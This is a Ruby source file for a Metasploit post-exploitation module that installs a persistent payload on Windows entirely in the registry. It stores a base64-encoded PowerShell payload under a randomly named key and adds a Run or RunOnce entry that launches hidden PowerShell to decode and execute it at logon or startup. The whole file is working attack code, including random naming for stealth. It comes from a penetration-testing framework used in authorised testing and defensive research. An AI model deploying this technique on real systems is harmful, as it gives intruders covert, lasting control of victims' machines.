172 lines
6.6 KiB
Ruby
172 lines
6.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Powershell
|
|
include Msf::Post::Windows::Registry
|
|
include Msf::Post::File
|
|
include Msf::Exploit::Local::Persistence
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::Deprecated
|
|
moved_from 'exploits/windows/local/registry_persistence'
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Windows Registry Only Persistence',
|
|
'Description' => %q{
|
|
This module will install a payload that is executed during boot.
|
|
It will be executed either at user logon or system startup via the registry
|
|
value in "CurrentVersion\Run" or "RunOnce" (depending on privilege and selected method).
|
|
The payload will be installed completely in registry.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Donny Maasland <donny.maasland[at]fox-it.com>', # original module
|
|
'h00die',
|
|
],
|
|
'Platform' => [ 'win' ],
|
|
'SessionTypes' => [ 'meterpreter', 'shell' ],
|
|
'Targets' => [
|
|
[ 'Automatic', {} ]
|
|
],
|
|
'References' => [
|
|
['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],
|
|
['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],
|
|
['URL', 'https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys'],
|
|
['URL', 'https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/']
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2015-07-01',
|
|
'Notes' => {
|
|
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptEnum.new('STARTUP',
|
|
[true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM']]),
|
|
OptString.new('BLOB_REG_KEY',
|
|
[false, 'The registry key to use for storing the payload blob. (Default: random)' ]),
|
|
OptString.new('BLOB_REG_NAME',
|
|
[false, 'The name to use for storing the payload blob. (Default: random)' ]),
|
|
OptString.new('RUN_NAME',
|
|
[false, 'The name to use for the \'Run\' key. (Default: random)' ]),
|
|
OptInt.new('SLEEP_TIME',
|
|
[false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]),
|
|
OptEnum.new('REG_KEY', [true, 'Registry Key To Install To', 'Run', %w[Run RunOnce]]),
|
|
])
|
|
end
|
|
|
|
def generate_payload_blob
|
|
opts = {
|
|
wrap_double_quotes: true,
|
|
encode_final_payload: true
|
|
}
|
|
cmd_psh_payload(payload.encoded, payload_instance.arch.first, opts).split(' ')[-1]
|
|
end
|
|
|
|
def generate_cmd(root_path, blob_key_name, blob_key_reg)
|
|
"%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
|
|
end
|
|
|
|
def generate_blob_reg
|
|
blob_reg_key = datastore['BLOB_REG_KEY'] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}"
|
|
blob_reg_name = datastore['BLOB_REG_NAME'] || Rex::Text.rand_text_alphanumeric(8)
|
|
return blob_reg_key, blob_reg_name
|
|
end
|
|
|
|
def generate_cmd_reg
|
|
datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8)
|
|
end
|
|
|
|
def install_blob(root_path, blob, blob_reg_key, blob_reg_name)
|
|
blob_reg_key = "#{root_path}\\#{blob_reg_key}"
|
|
new_key = false
|
|
if !registry_enumkeys(blob_reg_key)
|
|
unless registry_createkey(blob_reg_key)
|
|
fail_with(Failure::Unknown, "Failed to create key #{blob_reg_key}")
|
|
end
|
|
print_good("Created registry key #{blob_reg_key}")
|
|
new_key = true
|
|
end
|
|
|
|
unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, 'REG_SZ')
|
|
fail_with(Failure::Unknown, 'Failed to open the registry key for writing')
|
|
end
|
|
print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}")
|
|
return new_key
|
|
end
|
|
|
|
def regkey
|
|
datastore['REG_KEY']
|
|
end
|
|
|
|
def install_cmd(cmd, cmd_reg, root_path)
|
|
unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}", cmd_reg, cmd, 'REG_EXPAND_SZ')
|
|
fail_with(Failure::Unknown, 'Could not install run key')
|
|
end
|
|
print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{cmd_reg}")
|
|
end
|
|
|
|
def get_root_path
|
|
return 'HKCU' if datastore['STARTUP'] == 'USER'
|
|
|
|
'HKLM'
|
|
end
|
|
|
|
def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
|
|
@clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n"
|
|
if new_key
|
|
@clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n"
|
|
end
|
|
@clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}' -v '#{cmd_reg}'\n"
|
|
end
|
|
|
|
def check
|
|
return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\').include?('PowerShell')
|
|
|
|
vprint_good('Powershell detected on system')
|
|
|
|
# test write to see if we have access
|
|
root_path = get_root_path
|
|
rand = Rex::Text.rand_text_alphanumeric(15)
|
|
|
|
vprint_status("Checking registry write access to: #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")
|
|
return Msf::Exploit::CheckCode::Safe("Unable to write to registry path #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}") if registry_createkey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{rand}").nil?
|
|
|
|
registry_deletekey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")
|
|
|
|
Msf::Exploit::CheckCode::Vulnerable('Registry writable')
|
|
end
|
|
|
|
def install_persistence
|
|
print_status('Generating payload blob..')
|
|
blob = generate_payload_blob
|
|
print_good("Generated payload, #{blob.length} bytes")
|
|
|
|
root_path = get_root_path
|
|
print_status("Root path is #{root_path}")
|
|
|
|
blob_reg_key, blob_reg_name = generate_blob_reg
|
|
cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name)
|
|
cmd_reg = generate_cmd_reg
|
|
|
|
print_status('Installing payload blob..')
|
|
new_key = install_blob(root_path, blob, blob_reg_key, blob_reg_name)
|
|
|
|
print_status('Installing run key')
|
|
install_cmd(cmd, cmd_reg, root_path)
|
|
|
|
create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
|
|
end
|
|
end
|